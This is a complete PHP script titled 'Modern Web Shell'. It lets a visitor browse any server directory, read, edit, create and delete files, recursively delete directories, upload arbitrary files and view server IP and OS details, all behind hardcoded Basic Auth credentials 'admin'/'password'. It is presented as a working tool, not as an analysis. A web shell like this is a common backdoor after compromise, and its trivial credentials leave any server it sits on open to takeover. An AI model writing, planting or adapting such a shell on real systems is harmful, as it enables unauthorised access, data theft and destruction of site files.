<?php
// Security: Restrict access (you should enhance this in production)
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER'] !== 'admin' || $_SERVER['PHP_AUTH_PW'] !== 'password') {
    header('WWW-Authenticate: Basic realm="Web Shell"');
    header('HTTP/1.0 401 Unauthorized');
    exit('Access Denied');
}

// Get current directory or set to document root
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath($_SERVER['DOCUMENT_ROOT']);
if (!$current_dir) {
    $current_dir = realpath($_SERVER['DOCUMENT_ROOT']);
}

// Function to recursively delete a directory and its contents
function deleteDirectory($dir) {
    if (!file_exists($dir)) {
        return false;
    }
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}

// Handle file operations
$action_message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Create file
    if (isset($_POST['create_file'])) {
        $filename = $current_dir . '/' . basename($_POST['filename']);
        if (!file_exists($filename)) {
            file_put_contents($filename, '');
            $action_message = "File {$filename} created.";
        } else {
            $action_message = "File already exists.";
        }
    }
    // Delete file
    if (isset($_POST['delete_file'])) {
        $filename = $current_dir . '/' . basename($_POST['delete_file']);
        if (file_exists($filename) && is_file($filename)) {
            unlink($filename);
            $action_message = "File {$filename} deleted.";
        } else {
            $action_message = "File not found.";
        }
    }
    // Delete directory
    if (isset($_POST['delete_dir'])) {
        $dirname = $current_dir . '/' . basename($_POST['delete_dir']);
        if (file_exists($dirname) && is_dir($dirname)) {
            if (deleteDirectory($dirname)) {
                $action_message = "Directory {$dirname} deleted.";
            } else {
                $action_message = "Directory {$dirname} could not be deleted.";
            }
        } else {
            $action_message = "Directory not found.";
        }
    }
    // Read file
    if (isset($_POST['read_file'])) {
        $filename = $current_dir . '/' . basename($_POST['read_file']);
        if (file_exists($filename) && is_file($filename)) {
            $action_message = "Content of {$filename}:\n" . htmlspecialchars(file_get_contents($filename));
        } else {
            $action_message = "File not found.";
        }
    }
    // Edit file
    if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
        $filename = $current_dir . '/' . basename($_POST['edit_file']);
        if (file_exists($filename) && is_file($filename)) {
            file_put_contents($filename, $_POST['file_content']);
            $action_message = "File {$filename} updated.";
        } else {
            $action_message = "File not found.";
        }
    }
    // Upload file
    if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
        $filename = $current_dir . '/' . basename($_FILES['upload_file']['name']);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $filename)) {
            $action_message = "File {$filename} uploaded successfully.";
        } else {
            $action_message = "File upload failed.";
        }
    }
}

// Handle edit file form display
$edit_mode = false;
$edit_filename = '';
$edit_content = '';
if (isset($_GET['edit']) && is_file($current_dir . '/' . basename($_GET['edit']))) {
    $edit_mode = true;
    $edit_filename = basename($_GET['edit']);
    $edit_content = file_get_contents($current_dir . '/' . $edit_filename);
}

// List directory contents
$files = scandir($current_dir);
$directories = [];
$regular_files = [];
foreach ($files as $file) {
    if ($file !== '.') {
        $path = $current_dir . '/' . $file;
        if (is_dir($path)) {
            $directories[] = $file;
        } else {
            $regular_files[] = $file;
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Modern Web Shell</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 min-h-screen flex items-center justify-center p-4">
    <div class="w-full max-w-4xl bg-white rounded-lg shadow-lg p-6">
        <h1 class="text-3xl font-bold text-gray-800 mb-6">Modern Web Shell</h1>

        <div class="mb-6">
            <h2 class="text-xl font-semibold text-gray-700 mb-2">Server Information</h2>
            <div class="bg-gray-50 p-4 rounded-md">
                <p><strong>IP Address:</strong> <?php echo $_SERVER['SERVER_ADDR']; ?></p>
                <p><strong>Server Software:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?></p>
                <p><strong>Operating System:</strong> <?php echo php_uname('s') . ' ' . php_uname('r'); ?></p>
                <p><strong>Current Directory:</strong> <?php echo htmlspecialchars($current_dir); ?></p>
            </div>
        </div>

        <div class="mb-6">
            <h2 class="text-xl font-semibold text-gray-700 mb-2">Directory Contents</h2>
            <h3 class="text-lg font-medium text-gray-600 mb-1">Directories</h3>
            <ul class="space-y-2">
                <?php foreach ($directories as $dir): ?>
                    <li class="flex items-center justify-between p-2 bg-gray-50 rounded-md hover:bg-gray-100">
                        <a href="?dir=<?php echo urlencode($current_dir . '/' . $dir); ?>" class="text-blue-600 hover:underline"><?php echo htmlspecialchars($dir); ?>/</a>
                        <a href="#" class="text-red-500 text-sm hover:text-red-700" onclick="if(confirm('Delete directory <?php echo htmlspecialchars($dir); ?> and all its contents?')) { document.getElementById('delete-dir-<?php echo htmlspecialchars($dir); ?>').submit(); }">Delete</a>
                        <form id="delete-dir-<?php echo htmlspecialchars($dir); ?>" method="post" class="hidden">
                            <input type="hidden" name="delete_dir" value="<?php echo htmlspecialchars($dir); ?>">
                        </form>
                    </li>
                <?php endforeach; ?>
            </ul>
            <h3 class="text-lg font-medium text-gray-600 mt-4 mb-1">Files</h3>
            <ul class="space-y-2">
                <?php foreach ($regular_files as $file): ?>
                    <li class="flex items-center justify-between p-2 bg-gray-50 rounded-md hover:bg-gray-100">
                        <span><?php echo htmlspecialchars($file); ?></span>
                        <div class="space-x-2">
                            <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($file); ?>" class="text-yellow-500 text-sm hover:text-yellow-700">Edit</a>
                            <a href="#" class="text-red-500 text-sm hover:text-red-700" onclick="if(confirm('Delete file <?php echo htmlspecialchars($file); ?>?')) { document.getElementById('delete-file-<?php echo htmlspecialchars($file); ?>').submit(); }">Delete</a>
                            <a href="#" class="text-green-500 text-sm hover:text-green-700" onclick="document.getElementById('read-file-<?php echo htmlspecialchars($file); ?>').submit();">Read</a>
                            <form id="delete-file-<?php echo htmlspecialchars($file); ?>" method="post" class="hidden">
                                <input type="hidden" name="delete_file" value="<?php echo htmlspecialchars($file); ?>">
                            </form>
                            <form id="read-file-<?php echo htmlspecialchars($file); ?>" method="post" class="hidden">
                                <input type="hidden" name="read_file" value="<?php echo htmlspecialchars($file); ?>">
                            </form>
                        </div>
                    </li>
                <?php endforeach; ?>
            </ul>
        </div>

        <div>
            <h2 class="text-xl font-semibold text-gray-700 mb-2">File Operations</h2>
            <?php if ($action_message): ?>
                <div class="bg-green-100 text-green-800 p-4 rounded-md mb-4"><?php echo nl2br(htmlspecialchars($action_message)); ?></div>
            <?php endif; ?>
            <?php if ($edit_mode): ?>
                <form method="post" class="mb-4">
                    <label class="block text-gray-600 mb-1">Editing File: <?php echo htmlspecialchars($edit_filename); ?></label>
                    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($edit_filename); ?>">
                    <textarea name="file_content" class="w-full p-2 border rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"><?php echo htmlspecialchars($edit_content); ?></textarea>
                    <button type="submit" class="mt-2 bg-blue-600 text-white px-4 py-2 rounded-md hover:bg-blue-700">Save</button>
                </form>
            <?php endif; ?>
            <form method="post" class="mb-4 flex space-x-2">
                <label class="block text-gray-600 mb-1 sr-only">Create File</label>
                <input type="text" name="filename" placeholder="Enter filename" class="p-2 border rounded-md flex-grow focus:outline-none focus:ring-2 focus:ring-blue-500">
                <button type="submit" name="create_file" class="bg-blue-600 text-white px-4 py-2 rounded-md hover:bg-blue-700">Create</button>
            </form>
            <form method="post" enctype="multipart/form-data" class="flex space-x-2">
                <label class="block text-gray-600 mb-1 sr-only">Upload File</label>
                <input type="file" name="upload_file" class="p-2 border rounded-md flex-grow focus:outline-none focus:ring-2 focus:ring-blue-500">
                <button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded-md hover:bg-blue-700">Upload</button>
            </form>
        </div>
    </div>
</body>
</html>